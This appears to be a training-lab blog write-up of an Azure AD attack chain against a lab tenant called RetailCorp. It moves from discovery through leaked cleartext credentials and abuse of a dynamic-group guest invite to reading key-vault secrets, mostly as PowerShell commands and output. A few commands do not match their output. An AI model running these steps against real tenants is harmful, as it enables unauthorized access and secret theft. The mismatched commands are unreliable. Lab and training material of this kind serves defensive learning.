Table of Contents

More than 95 percent of Fortune 500 companies use Azure! Azure AD is one of world’s largest web-based identity provider. Having the ability to understand and hack (thus securing) Azure is a skill that is in huge demand. This blog covers the lab work done in Introduction to Azure Penetration Testing labs & training provided by Altered Security.

Discovery

We just know the name of the target organization - RetailCorp. Let us check if the target organization is using Azure AD! We can use the following URL to get some details! Note that here we are assuming that Retailcorp is using the domain name that is automatically assigned in Azure based on the tenant name. In addition, there is no need to know a valid username to use the below URL:

https://login.microsoftonline.com/getuserrealm.srf?login=USERNAME@retailcorp.onmicrosoft.com&xml=1
<RealmInfo Success="true">
<State>4</State>
<UserState>1</UserState>
<Login>USERNAME@retailcorp.onmicrosoft.com</Login>
<NameSpaceType>Managed</NameSpaceType>
<DomainName>retailcorp.onmicrosoft.com</DomainName>
<IsFederatedNS>false</IsFederatedNS>
<FederationBrandName>Retail Corporation</FederationBrandName>
<CloudInstanceName>microsoftonline.com</CloudInstanceName>
<CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri>
</RealmInfo>

‘NameSpaceType’ Managed means that the target organization is using Azure!

Next, find out the Tenant ID for retailcorp.onmicrosoft.com

https://login.microsoftonline.com/retailcorp.onmicrosoft.com/.well-known/openid-configuration
{
  "token_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/token",
  "token_endpoint_auth_methods_supported":["client_secret_post","private_key_jwt","client_secret_basic"],
  "jwks_uri":"https://login.microsoftonline.com/common/discovery/keys",
  "response_modes_supported":["query","fragment","form_post"],
  "subject_types_supported":["pairwise"],
  "id_token_signing_alg_values_supported":["RS256"],
  "response_types_supported":["code","id_token","code id_token","token id_token","token"],
  "scopes_supported":["openid"],
  "issuer":"https://sts.windows.net/711c59fe-8dee-40c0-adc1-ed08f738de43/",
  "microsoft_multi_refresh_token":true,
  "authorization_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/authorize",
  "device_authorization_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/devicecode",
  "http_logout_supported":true,
  "frontchannel_logout_supported":true,
  "end_session_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/logout",
  "claims_supported":["sub","iss","cloud_instance_name","cloud_instance_host_name","cloud_graph_host_name","msgraph_host","aud","exp","iat","auth_time","acr","amr","nonce","email","given_name","family_name","nickname"],
  "check_session_iframe":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/checksession",
  "userinfo_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/openid/userinfo",
  "kerberos_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/kerberos",
  "tenant_region_scope":"AS",
  "cloud_instance_name":"microsoftonline.com",
  "cloud_graph_host_name":"graph.windows.net",
  "msgraph_host":"graph.microsoft.com",
  "rbac_url":"https://pas.windows.net"
}
Tenant ID: 711c59fe-8dee-40c0-adc1-ed08f738de43

We can also use tools like AADInternals (https://github.com/Gerenios/AADInternals) for finding the above!

We can use MicroBuster to look for services used by RetailCorp.

Let us first find out the services used by the target tenant:

PS C:\AzAD\Tools> Import-Module C:\AzAD\Tools\MicroBurst\MicroBurst.psm1

Imported Az MicroBurst functions
AzureAD module not installed, checking other modules
MSOnline module not installed, checking other modules
Imported Misc MicroBurst functions
Imported Azure REST API MicroBurst functions
PS C:\AzAD\Tools> Invoke-EnumerateAzureSubDomains -Base retailcorp

Subdomain                              Service
---------                              -------
retailcorp.mail.protection.outlook.com Email
retailcorp.onmicrosoft.com             Microsoft Hosted Domain
retailcorp.blob.core.windows.net       Storage Accounts - Blobs
retailcorp.file.core.windows.net       Storage Accounts - Files
retailcorp.queue.core.windows.net      Storage Accounts - Queues
retailcorp.table.core.windows.net      Storage Accounts - Tables

The target tenant is using storage accounts! Our next step would be to check if there are any publicly accessible storage accounts.

Initial Access

Let’s use another function from Microbuster to check if there are any storage accounts with anonymous access. Run the below command in the PowerShell session where you imported MicroBuster.

PS C:\AzAD\Tools> Invoke-EnumerateAzureBlobs -Base retailcorp

Found Storage Account - retailcorp.blob.core.windows.net
Found Container - retailcorp.blob.core.windows.net/configuration
Public File Available:
https://retailcorp.blob.core.windows.net/configuration/PAS_Deployment_Script.ps1

There is a script available in a container called ‘configuration’. Let’s check out its contents!

The script seems to be a VM deployment script and it contains a username and password in clear-text in very first lines!

$password = ConvertTo-SecureString 'ZuqK&ijv0085VnCI&#' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('PIMUser@retailcorp.onmicrosoft.com', $Password)
Connect-AzAccount -Credential $Cred

$resourceGroup = "PIMManagement"
$location = "Germany West Central"
$vmName = "PAS"
$Subscription = "27ebe5b9-6e27-425a-8117-eeaab022575f"

# Set a variable for the image version in Tenant 1 using the full image ID of the image version
$image = "/subscriptions/$Subscription/resourceGroups/$resourceGroup/providers/Microsoft.Compute/galleries/PIM/images/PAS/versions/2.0"

# Create user object
$cred = Get-Credential -Message "Enter a username and password for the virtual machine."

# Create a resource group
New-AzResourceGroup -Name $resourceGroup -Location $location

# Networking pieces
$subnetConfig = New-AzVirtualNetworkSubnetConfig -Name mySubnet -AddressPrefix 192.168.1.0/24
$vnet = New-AzVirtualNetwork -ResourceGroupName $resourceGroup -Location $location `
  -Name MYvNET -AddressPrefix 192.168.0.0/16 -Subnet $subnetConfig
$pip = New-AzPublicIpAddress -ResourceGroupName $resourceGroup -Location $location `
  -Name "mypublicdns$(Get-Random)" -AllocationMethod Static -IdleTimeoutInMinutes 4
$nsgRuleRDP = New-AzNetworkSecurityRuleConfig -Name myNetworkSecurityGroupRuleRDP  -Protocol Tcp `
  -Direction Inbound -Priority 1000 -SourceAddressPrefix * -SourcePortRange * -DestinationAddressPrefix * `
  -DestinationPortRange 3389 -Access Allow
$nsg = New-AzNetworkSecurityGroup -ResourceGroupName $resourceGroup -Location $location `
  -Name myNetworkSecurityGroup -SecurityRules $nsgRuleRDP
$nic = New-AzNetworkInterface -Name myNic -ResourceGroupName $resourceGroup -Location $location `
  -SubnetId $vnet.Subnets[0].Id -PublicIpAddressId $pip.Id -NetworkSecurityGroupId $nsg.Id

# Create a virtual machine configuration using the $image variable to specify the image
$vmConfig = New-AzVMConfig -VMName $vmName -VMSize Standard_D1_v2 | `
Set-AzVMOperatingSystem -Windows -ComputerName $vmName -Credential $cred | `
Set-AzVMSourceImage -Id $image | `
Add-AzVMNetworkInterface -Id $nic.Id

# Create a virtual machine
New-AzVM -ResourceGroupName $resourceGroup -Location $location -VM $vmConfig

Enumeration

Let’s use the credentials of the user PIMUser that we got above and connect to the retailcorp tenant! Make sure that the Azure AD and Az PowerShell modules are installed on the attack VM that you have setup.

PS C:\AzAD\Tools> Import-Module -Name AzureAD

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'ZuqK&ijv0085VnCI&#' -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object System.Management.Automation.PSCredential('PIMUser@retailcorp.onmicrosoft.com', $password)

PS C:\AzAD\Tools> Connect-AzureAD -Credential $creds

Account                            Environment TenantId                             TenantDomain               AccountType
-------                            ----------- --------                             ------------               -----------
PIMUser@retailcorp.onmicrosoft.com AzureCloud  711c59fe-8dee-40c0-adc1-ed08f738de43 retailcorp.onmicrosoft.com User

Use the following commands from the Azure AD module to enumerate the tenant.

Enumerate Users:


PS C:\AzAD\Tools> Get-AzureADUser -All $true

ObjectId                             DisplayName            UserPrincipalName
--------                             -----------            -----------------
909380cc-bb5c-46ab-863e-52bbf5209908 abusepim               abusepimadmin_robertaaron.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
8ec3e815-2e2d-4309-b7d9-5c3bbc0c5851 FNU LNU                adarshvs_0xnullsec.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
c6739d48-75f6-4eb9-8488-896739f1ebd7 Gonzalo Aguilar        admin_6h4ackdomain.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
5f34313a-0761-464d-a2c0-77d46ab51f50 Gaurav Anand           admin_adminpentesterhero.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
5bed9164-8609-49c0-9c25-30ab1953c9a1 David Wordliczek       admin_azpentestsecurity.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
9e11f146-2347-46e0-b15d-5330a1dd236e pragya johari          admin_azurettesting12345.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
2764a1a8-a902-41b2-bd63-68622732443a FNU LNU                admin_cyberm4nny.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
9b74f7b5-ab77-4dd2-8d0b-f1be9ab836c1 Saravana Kumar         admin_empirecorp.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
82965bf1-daf2-4acc-9a23-13c36516811b Archit Aggarwal        admin_mynewdomainarchit.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
499c92de-17f4-4d6e-bb47-5cd11c351a2b acey acey              admin_notevilcorp.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
11f8f7a6-7595-4b3f-8bb5-74cc4644b42b FNU LNU                admin_redteam777.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
67c985d0-291b-4fe1-af08-e6f0ca0c40f8 Robert Aaron           admin_robertaaron.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
8b755706-5a93-4134-bd72-cd79bb8ef509 Ross Moore             admin_securitychat.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
965c7e26-18e2-4454-a51c-118adaff56c2 FNU LNU                admin_wdssa.onmicrosoft.com#EXT#@retailcorp.onmicrosoft.com
faca4d80-e954-42d2-af05-3a0523e61d41 JPAttacker             admin_pitcairntest.onmicrosft.com#EXT#@retailcorp.onmicrosoft.com
d19c7b88-f0dd-48e4-9c27-e2b6e15bc696 Alexander S Evans      AlexanderSEvans@retailcorp.onmicrosoft.com
7b1c09cd-2552-4d3d-b65b-13fb7baa8961 Alex J Allen           AlexJAllen@retailcorp.onmicrosoft.com
77539ddc-6856-4c3d-8967-1cb6efaa6470 Alfred P Fleming       AlfredPFleming@retailcorp.onmicrosoft.com
a84c8225-3c31-4fd5-8581-3a362886dab5 Andrew H Carnes        AndrewHCarnes@retailcorp.onmicrosoft.com
b4ff45fe-7535-4e8c-be27-f70ecc6e726e Andrew M Edwards       AndrewMEdwards@retailcorp.onmicrosoft.com
e0b308bd-c5da-45f4-92e6-690a5d943a7e Anna C House           AnnaCHouse@retailcorp.onmicrosoft.com
b974968d-2cf9-4aa7-beb5-abe8032eae2f Anthony S Duran        AnthonySDuran@retailcorp.onmicrosoft.com
4510cd10-1766-45ac-b247-ee44c8968d16 Antonio K Bell         AntonioKBell@retailcorp.onmicrosoft.com
deb96599-f2a2-4e17-affb-179c1d8f411a Arthur J Randall       ArthurJRandall@retailcorp.onmicrosoft.com
...

Enumerate Groups:

PS C:\AzAD\Tools> Get-AzureADGroup -All $true

ObjectId                             DisplayName         Description
--------                             -----------         -----------
359dfa24-0a48-495d-8646-b8a9ab01c13d Finance
35bd7eee-d537-474f-b9a3-9756a8f0ba68 Marketing
49e58be7-16fd-48ec-a9e5-f40feef4adf6 Network Operations
58764583-5791-4627-8731-8411db4ba338 Human Resources
62f656b3-e8c9-452c-85ce-104a8d0baaf5 Security Operations
750d8501-0ad2-4039-b587-993794f6cbd7 PIMAdmins           Members of this group have privileges to manage privileged identities.
777643e6-e814-4abb-8caf-195a3e859325 HelpDesk
80c6d793-acc0-4ba6-bf17-d4048763999b GRC
80f8306b-fe8c-4f1e-9474-1457d4361375 DevOps
a8418db9-8153-43ef-b37e-59fb7d88aaff Network Security
c85146db-e493-4708-bbeb-38eb46441c62 Hardware Mgmt
ff51087c-6a1a-4304-af8c-7e446027e86d Sales

Let’s check if we can access any azure resource as the current user. This will also help in checking if the ‘PIMAdmin’ group has any permissions on Azure resources.

Run the following command in a new PowerShell session to connect to the retailcorp tenant as PIMUser using Az PowerShell module:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'ZuqK&ijv0085VnCI&#' -AsPlainText -Force
PS C:\AzAD\Tools> $creds = New-Object System.Management.Automation.PSCredential('PIMUser@retailcorp.onmicrosoft.com', $password)
PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account                            SubscriptionName TenantId                             Environment
-------                            ---------------- --------                             -----------
PIMUser@retailcorp.onmicrosoft.com                  711c59fe-8dee-40c0-adc1-ed08f738de43 AzureCloud

List the Azure resources where PIMUser has at least read access:

PS C:\AzAD\Tools> Get-AzResource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : CloseError: (:) [Get-AzResource], ValidationException
    + FullyQualifiedErrorId : Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

The error that we got means that the user PIMUser has no access to any of the Azure resources. So, as PIMUser we are limited to Azure AD.

We may like to enumerate if there are Dynamic Groups. As discussed in the course, dynamic groups allow membership based on rules and it may be possible to abuse an overly permissive rule!

Let’s use the Azure AD Preview module to list dynamic groups. We are using the Azure AD Preview module as the Azure AD module is unable to list the membership rule!

Use the below command to list Dynamic Groups. Note that we are first removing the Azure AD module from current PowerShell session and then importing the Azure AD Preview module. Double check the version of the AzureADPreview module for the correct path.

PS C:\AzAD\Tools> Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

Id                                   DisplayName Description
--                                   ----------- -----------
750d8501-0ad2-4039-b587-993794f6cbd7 PIMAdmins   Members of this group have privileges to manage privileged identities.

Let’s check what is the Membership Rule for the dynamic group ‘PIMAdmins’. Run the below command using Azure AD Preview module:


PS C:\AzAD\Tools> Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} | select MembershipRule 

MembershipRule
--------------
(user.mail -contains "pim") or (user.mail -contains "pimadmin") or (user.mail -contains "operations") and (user.userType -eq "guest")

So, the membership rule makes anyone who is a Guest (notice the ‘and’ rule) and has ‘pim’, ‘pimadmin’ or ‘operation’ in their email ID to be a member!

Privilege Escalation

We have to invite a user who has ‘pim’, ‘pimadmin’ or ‘operation’ in their email ID to get membership of the PIMAdmins group. We will use the attacker tenant that you created as detailed in the ‘Lab Prerequisites’.

Use the below command from the Azure AD module to invite a guest. Please note that I am using a guest from a tenant that I created. You have to use your own attacker tenant that you created as detailed in the ‘Lab Prerequisites’. Make sure that the invited user has email that contains ‘pim’, ‘pimadmin’ or ‘operation’ and you choose a unique value for the ‘InvitedUserDisplayName’ below:

PS C:\Windows\system32> New-AzureADMSInvitation -InvitedUserDisplayName "InvitedAttacker1" -InvitedUserEmailAddress "pim@bhavsec.onmicrosoft.com" -InviteRedirectURL https://portal.azure.com -SendInvitationMessage $true


Id                      : 3c0cf9f0-f252-4945-8ff7-80b8fb2760ab
InvitedUserDisplayName  : InvitedAttacker1
InvitedUserEmailAddress : pim@bhavsec.onmicrosoft.com
SendInvitationMessage   : True
InviteRedeemUrl         : https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%
                          2f%3ftenant%3d711c59fe-8dee-40c0-adc1-ed08f738de43%26user%3d3c0cf9f0-f252-4945-8ff7-80b8fb276
                          0ab%26ticket%3dQmWDn95cihYOkq0sowcu7SYe36iuGy73H93Rcus0wvA%253d%26ver%3d2.0
InviteRedirectUrl       : https://portal.azure.com/
InvitedUser             : class User {
                            Id: 502c8c63-0e09-4d11-a00d-3145406d85b0
                            OdataType:
                          }

InvitedUserMessageInfo  : class InvitedUserMessageInfo {
                            CcRecipients: System.Collections.Generic.List`1[Microsoft.Open.MSGraph.Model.Recipient]
                            CustomizedMessageBody:
                            MessageLanguage:
                          }

InvitedUserType         : Guest
Status                  : PendingAcceptance

Copy the InviteRedeemUrl and browse to it using a web browser. Login as the user that you invited and accept the permissions!

https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3d711c59fe-8dee-40c0-adc1-ed08f738de43%26user%3d3c0cf9f0-f252-4945-8ff7-80b8fb2760ab%26ticket%3dQmWDn95cihYOkq0sowcu7SYe36iuGy73H93Rcus0wvA%253d%26ver%3d2.0

After login you will be redirected to https://portal.zure.com, you may need to switch directory to go to RetailCorp tenant. See the screenshots below

In some cases, you might need to logout and login again from the portal for your user to be added to the dynamic group. In any case, Azure may take 5-6 minutes before the user is added to the group.

Once the user is added to the PIMAdmins group, navigate to ‘All Resources’ in the Azure Portal.

You will see the retailcorp storage account. Browse to ‘Containers’ in the storage account. Recall that we already accessed the configuration container in the storage account as that container allows anonymous access. However, you will find an additional container named ‘pimadmins’. The container contains a file ‘PIM.json’. Download it!

The PIM.json file is a manifest for an Enterprise Application named ‘PIM’. Look at the ‘passwordCredentials’ parameter in there and you will find application password for this application:

"passwordCredentials": [
{
"customKeyIdentifier": null,
"endDate": "2023-12-02T06:44:44.945Z",
"keyId": "1c4ea66d-f755-4404-91ce-8f4a509c6756",
"startDate": "2021-12-02T06:44:44.945Z",
"value": "mEY7Q~PByrDX88Q4Rqoelzu~rHyLqhFgp-Ycb",
"createdOn": "2021-12-02T06:45:03.1827138Z",
"hint": "mEY",
"displayName": "Creds"
}
],

Lateral Movement

Use the below Az PowerShell commands to access the tenant as PIM enterprise application!

PS C:\AzAD\Tools> Connect-AzAccount -ServicePrincipal -Tenant "711c59fe-8dee-40c0-adc1-ed08f738de43" -Credential $creds
WARNING: The provided service principal secret will be included in the 'AzureRmContext.json' file found in the user
profile ( C:\Users\IEUser\.Azure ). Please ensure that this directory has appropriate protections.

Account                              SubscriptionName TenantId                             Environment
-------                              ---------------- --------                             -----------
20eb5f4e-317a-4987-a384-298bf636f082 RetailCorp       711c59fe-8dee-40c0-adc1-ed08f738de43 AzureCloud

Please take a note of the warning! Looking at the .Azure directory in a user profile is always recommended to get some credentials!

Run the below command to enumerate Azure resources accessible to the PIM enterprise application:

PS C:\AzAD\Tools> Get-AzKeyVaultSecret -VaultName breakglass-vault

Name              : breakglass-vault
ResourceGroupName : Retail
ResourceType      : Microsoft.KeyVault/vaults
Location          : germanywestcentral
ResourceId        : /subscriptions/27ebe5b9-6e27-425a-8117-eeaab022575f/resourceGroups/Retail/providers/Microsoft.KeyVault/vaults/breakglass-vault
Tags              :

Sweet! We can read a key vault. Let’s check if there are secrets in there and if we can read the secrets too!

PS C:\AzAD\Tools> Get-AzKeyVaultSecret -VaultName breakglass-vault

Vault Name   : breakglass-vault
Name         : PrivilegedAccess
Version      :
Id           : https://breakglass-vault.vault.azure.net:443/secrets/PrivilegedAccess
Enabled      : True
Expires      :
Not Before   :
Created      : 12/9/2021 7:18:22 PM
Updated      : 12/9/2021 7:18:22 PM
Content Type :
Tags         :

There is a secret called ‘PrivilegedAccess’ inside the keyvault. Let’s try to read the secret!

Get-AzKeyVaultSecret -VaultName breakglass-vault -Name PrivilegedAccess -AsPlainText

Once you complete the lab, please take time to explore more commands from the Azure AD and Az PowerShell module to gather information about the target environment. Also, try to use tools like az cli, ROADrecon, AzureHound, StormSpotter for enumeration and any other tools that you come across!